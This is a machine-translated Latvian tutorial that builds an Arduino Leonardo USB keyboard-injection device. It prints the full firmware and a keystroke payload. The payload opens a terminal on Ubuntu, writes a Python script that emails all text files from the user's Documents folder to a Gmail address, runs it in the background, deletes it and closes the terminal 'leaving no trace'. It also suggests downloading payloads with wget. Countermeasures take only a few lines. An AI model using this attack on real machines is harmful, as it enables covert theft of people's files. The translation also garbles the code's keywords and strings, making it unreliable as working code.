Satura rādītājs:
- 1. solis: materiāli
- 2. darbība. Ierīces izveide
- 3. darbība. Kā tas darbojas detalizēti
- 4. solis: pretpasākumi
Video: Arduino tastatūras izmantošanas demonstrācija (HID) un novēršana: 4 soļi (ar attēliem)
2024 Autors: John Day | [email protected]. Pēdējoreiz modificēts: 2024-01-30 10:57
Šajā projektā mēs izmantosim arduino Leonardo, lai simulētu iespējamo USB uzbrukumu, izmantojot HID (humain interfeisa ierīci).
Es izveidoju šo pamācību nevis, lai palīdzētu hakeriem, bet lai parādītu jums dažas reālas briesmas un to, kā pasargāt sevi no šīm briesmām. Šī ierīce nav ierīce, ko var izmantot uz jebkuras hakeru platformas, tā drīzāk ir koncepcijas pierādījums.
Mēs uzzināsim sekojošo:
- kā lietot arduino Leonardo, lai atdarinātu tastatūru
- kā nolasīt datus no SD kartēm
- kā izveidot python skriptu, kas skenē failus un nosūta tiem e -pastu
- kā pasargāt sevi no USB uzlaušanas ierīcēm
1. solis: materiāli
Daļas:
1. Arduino Leonardo
2. mikro USB karšu lasītājs
3. dažas GB SD karte
4. spiedpoga, piemēram, šī (VCC, zeme un signāls)
5. sieviešu-vīriešu un sieviešu-sieviešu džemperu kabeļi
6. micro USB - USB kabelis
2. darbība. Ierīces izveide
Pirms būvniecības instrukcijas pārskatīsim darbības principu:
Arduino Leonardo var uzvesties kā cilvēka saskarnes ierīce (HID) un tāpēc var atdarināt peli un tastatūru. Mēs izmantosim šo funkciju, lai atvērtu termināli (UBUNTU linux) un uzrakstītu nelielu skriptu, kas piekļūs mapei /Dokumenti lietotāja mājas mapē un nokopēs.txt failus un nosūtīs tos kādam. Ja vēlaties uzzināt sīkāku informāciju, pārbaudiet nākamo darbību.
Tā kā tā ir demonstrācijas ierīce, lietas ir patiešām vienkāršas, mēs neko nelodēsim.
Celtniecības instrukcijas
Pirms sākam pārbaudīt pievienotos failus, esmu pievienojis fritzes shēmas un visus nepieciešamos failus
1. Salieciet sastāvdaļas:
* pievienojiet mikro USB kabeli arduino
* pievienojiet atslēgas slēdzi arduino (zemes, vcc un izejas modulis ar D8)
* pievienojiet karšu lasītāju arduino (izmantojot ICSP galveni). Arduino Leonardo ICSP galvene nav savienota ar digitālajām tapām, tāpēc jums būs jāpievieno karšu lasītājs ICSP galvenei. ICSP rasējumus varat atrast šeit: https://learn.sparkfun.com/tutorials/installing-an…. Pievienojiet SS tapu digitālajai tapai 10
2. iegūstiet arduino kodu, varat klonēt manu arduino krātuvi vietnē github: https://github.com/danionescu0/arduino un dodieties uz project/keyboard_exploit vai iegūstiet to no apakšas:
#include "Keyboard.h"
#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Miega režīms::"; String commandStartingPoint = "Komanda::"; int delayBetweenCommands = 10; const int pogaPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Sērijas sākums (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Karte neizdevās vai tās nav!"); atgriešanās; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Augšupielādēts!"); kavēšanās (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("SD kartē nav norādītā faila nosaukuma, pārbaudiet filenameOnCard!"); } Stīgu līnija; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (līnija); sendToKeyboard (līnija); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; ja (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); atgriešanās; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (līnija); nospiedietEnter (); atgriešanās; } Serial.println ("Komanda:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String komanda = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; ja (komanda! = "") {Serial.print ("Komanda atrasta:"); Serial.println (komanda); Keyboard.press (getCommandCode (komanda)); kavēšanās (delayBetweenCommands); }} Keyboard.releaseAll (); kavēšanās (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); aizkavēšanās (sleepAmount); } char getCommandCode (virknes teksts) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char kods = textCharacters [0]; kods = (teksts == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kods; kods = (teksts == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kods; kods = (teksts == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kods; kods = (teksts == "KEY_UP_ARROW")? KEY_UP_ARROW: kods; kods = (teksts == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kods; kods = (teksts == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kods; kods = (teksts == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kods; kods = (teksts == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kods; kods = (teksts == "KEY_BACKSPACE")? KEY_BACKSPACE: kods; kods = (teksts == "KEY_TAB")? KEY_TAB: kods; kods = (teksts == "KEY_RETURN")? KEY_RETURN: kods; kods = (teksts == "KEY_ESC")? KEY_ESC: kods; kods = (teksts == "KEY_INSERT")? KEY_INSERT: kods; kods = (teksts == "KEY_DELETE")? KEY_DELETE: kods; kods = (teksts == "KEY_PAGE_UP")? KEY_PAGE_UP: kods; kods = (teksts == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kods; kods = (teksts == "KEY_HOME")? KEY_HOME: kods; kods = (teksts == "KEY_END")? KEY_END: kods; kods = (teksts == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kods; kods = (teksts == "KEY_F1")? KEY_F1: kods; kods = (teksts == "KEY_F2")? KEY_F2: kods; kods = (teksts == "KEY_F3")? KEY_F3: kods; kods = (teksts == "KEY_F4")? KEY_F4: kods; kods = (teksts == "KEY_F5")? KEY_F5: kods; kods = (teksts == "KEY_F6")? KEY_F6: kods; kods = (teksts == "KEY_F7")? KEY_F7: kods; kods = (teksts == "KEY_F8")? KEY_F8: kods; kods = (teksts == "KEY_F9")? KEY_F9: kods; kods = (teksts == "KEY_F10")? KEY_F10: kods; kods = (teksts == "KEY_F11")? KEY_F1: kods; kods = (teksts == "KEY_F12")? KEY_F2: kods;
atgriešanās kods;
}
3. Augšupielādējiet kodu arduino, noteikti izvēlieties 9600 batu pārraides ātrumu, seriālo portu un arduino Leonardo
4. Formatējiet SD karti, izmantojot FAT16 vai FAT32
5. Ja klonējāt github repo no augšas, nokopējiet kartē failu hack.txt, ja tas nav norādīts zemāk:
Komanda:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Miega režīms:: 300 komanda:: KEY_INSERT importēt smtplib import glob, os no os.path importēt paplašinātāju no e -pasta. MIMEMultipart importē MIMEMultipart no e -pasta. MIMEBase importē MIMEBase no e -pasta. MIMEText importē MIMEText no e -pasta. Lietojumprogrammas importē COMMASPACE, formāta datumu no e -pasta importēšanas kodētājiem
smtp_user = 'sūtītāja_gmail_adrese'
smtp_pass = 'sender_gmail_password' to_address = 'saņēmēja_adrese' scan_documents_location = 'Dokumenti'
subject = body = 'Faili no uzlauzta datora'
header = 'Kam: {0} nNo: {1} nTēma: {2} n'.format (uz_adrese, smtp_user, subject)
def sendMail (uz, tēmu, tekstu, failiem = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = tēma msg.attach (MIMEText (teksts)) failiem failos: part = MIMEBase ('lietojumprogramma', "okteta straume") part.set_payload (atvērts (fails, "rb"). Lasīt ()) Encoders.encode_base64 (daļa) daļa. add_header ('Content-Disposition', 'pielikums; faila nosaukums = " % s"' % os.path.basename (fails)) msg.attach (daļa)
serveris = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()
sendMail ([uz_adrese], tēma, pamatteksts, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))
Miega režīms:: 50 komandu:: KEY_ESC miega režīms:: 100: x miega režīms:: 500 nohup python hack.py un miega režīms:: 700 rm -rf hack.py Miega režīms:: 400 komandu:: KEY_LEFT_ALT, KEY_F4
6. Rediģējiet šādas rindiņas:
smtp_user = 'sender_email_addr'
smtp_pass = 'sūtītāja_parole' uz_adrese = 'saņēmēja_adrese'
Un aizstājiet ar savām e -pasta adresēm
7. Izņemiet karti un ievietojiet to arduino karšu lasītājā
3. darbība. Kā tas darbojas detalizēti
Kā darbojas uzbrukums:
1. Nospiežot pogu, Leonardo lasīs SD karti, izmantojot SD karšu lasītāju. Kartē būs īpašs fails ar taustiņiem un taustiņu kombināciju. Faila nosaukums ir "hack.txt".
Failā var būt neapstrādāts teksts, un tas tiks pārsūtīts uz tastatūru, kā tas ir.
Turklāt tas var saturēt īpašas komandas, piemēram, "Miegs::" un "Komanda::".
Līnija, piemēram:
Miega režīms:: 200 nozīmē 200 ms miegu
Līnija, piemēram:
Komanda:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t nozīmē, ka kreisā taustiņš ctrl ir nospiests, kreisā alt ir nospiesta, t ir nospiesta un viss ir atlaists
Visas īpašās atslēgas varat pārbaudīt šeit:
2. Leonardo lasīs rindu pa rindai, interpretēs komandas un atdarinās tastatūras taustiņus. Fails "hack.txt" satur taustiņu kombināciju, kas darbojas šādi (UBUNTU Linux):
a. atver termināli (CTRL + ALT + T)
b. atver python failu izveidei, izmantojot vi (raksta "vi hack.py"
c. raksta python skriptu, kas apkopo visus teksta failus dokumentu mājas mapē un nosūta tos uz norādīto Gmail adresi
d. palaida failu fonā ("nohup python hack.py &")
e. izdzēš failu (rm -rf hack.py)
f. aizver termināli (ALT + F4)
Viss notiek dažu sekunžu laikā un neatstāj pēdas.
Uzlabojumi un problēmu novēršana
* Jūs, iespējams, pamanījāt, ka pēc termināļa atvēršanas es rakstu pitona failu. labāks veids, kā to sasniegt, būs to kaut kur mitināt un lejupielādēt, izmantojot komandu "wget some_url", pēc tam pārdēvēt to par hack.py
* Arī mēs varam lejupielādēt vai palaist gatavu operāciju mērķa operētājsistēmai
* modulim var pievienot wifi, un uzlaušanu var augšupielādēt, izmantojot WIFI
* jūs varat izmantot arduino micro (kas ir daudz mazāks) un iegult tajā ekspluatācijas kodu (lai tas būtu mazāks)
Ierobežojumi
1. Tā kā simulētajai ierīcei (tastatūrai un pelei) nav atgriezeniskās saites, mēs nezinām, kas notiks pēc komandas izdošanas, kas nozīmē, ka mums ir jāizmanto aizkave. Piemēram, es izdodu komandu, lai atvērtu termināli, bet es nezinu, kad tas faktiski tiks atvērts, tāpēc man jānorāda patvaļīga aizkave, lai nodrošinātu, ka pēc tam ievadītās rakstzīmes netiks zaudētas.
2. Mēs varam saskarties ar atļauju problēmām, piemēram, mums nav piekļuves USB portam vai atļaujas kaut ko instalēt
3. Rakstīšanas ātrums Leonardo nav tik liels
4. Darbosies tikai ar mērķtiecīgu operētājsistēmu (mūsu gadījumā UBUNTU linux)
Nākamajā solī mēģināsim atrast veidus, kā izmantot šos ierobežojumus, lai novērstu mūsu datora uzlaušanu
4. solis: pretpasākumi
1. USB portu atspējošana
-operētājsistēmai Windows varat pārbaudīt šo apmācību:
2. USB ierīces baltajā sarakstā:
- logiem:
2. Bloķējiet datoru, kad neesat prom
3. Nepiesakieties kā root (lai instalētu kaut ko, ir nepieciešamas paroles)
4. Atjauniniet sevi (ieslēgti automātiskie atjauninājumi)
Ieteicams:
Inerciālās mērīšanas vienības izmantošanas veids?: 6 soļi
Inerciālās mērīšanas vienības izmantošanas veids?: Konteksts: Es izklaidei būvēju robotu, kuru vēlos autonomi pārvietot mājā. Tas ir ilgs darbs, un es to daru soli pa solim. Es jau publicēju 2 pamācības par šo tēmu: vienu par riteņu kodētāja izgatavošanu, vienu par
HID tastatūras kontrolieris projektam Diva Aracade Future Tone: 5 soļi
HID tastatūras kontrolieris projektam Diva Aracade Future Tone: V-USB ir zema ātruma USB bibliotēkas risinājums AVR mikrokontrolleriem. Tas ļauj mums izveidot HID ierīces (tastatūru, peli, spēļu planšetdatoru utt.), Izmantojot AVR mikrokontrollerus. HID tastatūras ieviešanas pamatā ir HID 1.11. Tas atbalsta ne vairāk kā 6 taustiņu nospiešanas
Veļas mazgājamās mašīnas cilindra radošās izmantošanas iespējas: 5 soļi
Veļas mazgājamās mašīnas cilindra radošās izmantošanas iespējas: šī apmācība ir paredzēta, lai iedvesmotu un aplūkotu izmestos objektus alternatīvā veidā. To nav paredzēts dublēt obligāti, bet gan sniegt jums idejas par veļas mazgājamās mašīnas cilindra iespējamo pielietojumu, kas parasti netiktu ņemts vērā. Mans priekšstats
Tastatūras saskarne ar 8051 un tastatūras numuru parādīšana 7 segmentos: 4 soļi (ar attēliem)
Tastatūras saskarne ar 8051 un tastatūras numuru parādīšana 7 segmentos: šajā apmācībā es jums pastāstīšu par to, kā mēs varam saslēgt tastatūru ar 8051 un parādīt tastatūras numurus 7 segmentu displejā
Bezvadu mājas maršrutētājs ar analogo izmantošanas mērītāju: 5 soļi (ar attēliem)
Bezvadu mājas maršrutētājs ar analogo izmantošanas mērītāju: es uzaugu laivās un ap tām, veidojot vadu stelles un vadības paneļus, un man ir mērinstrumentu kolekcija. ciparnīcas, kuras parasti varētu atrast savienotas ar maziem jūras dīzeļdzinējiem. Šodien es strādāju par dizaineri, veidojot saskarnes tīklam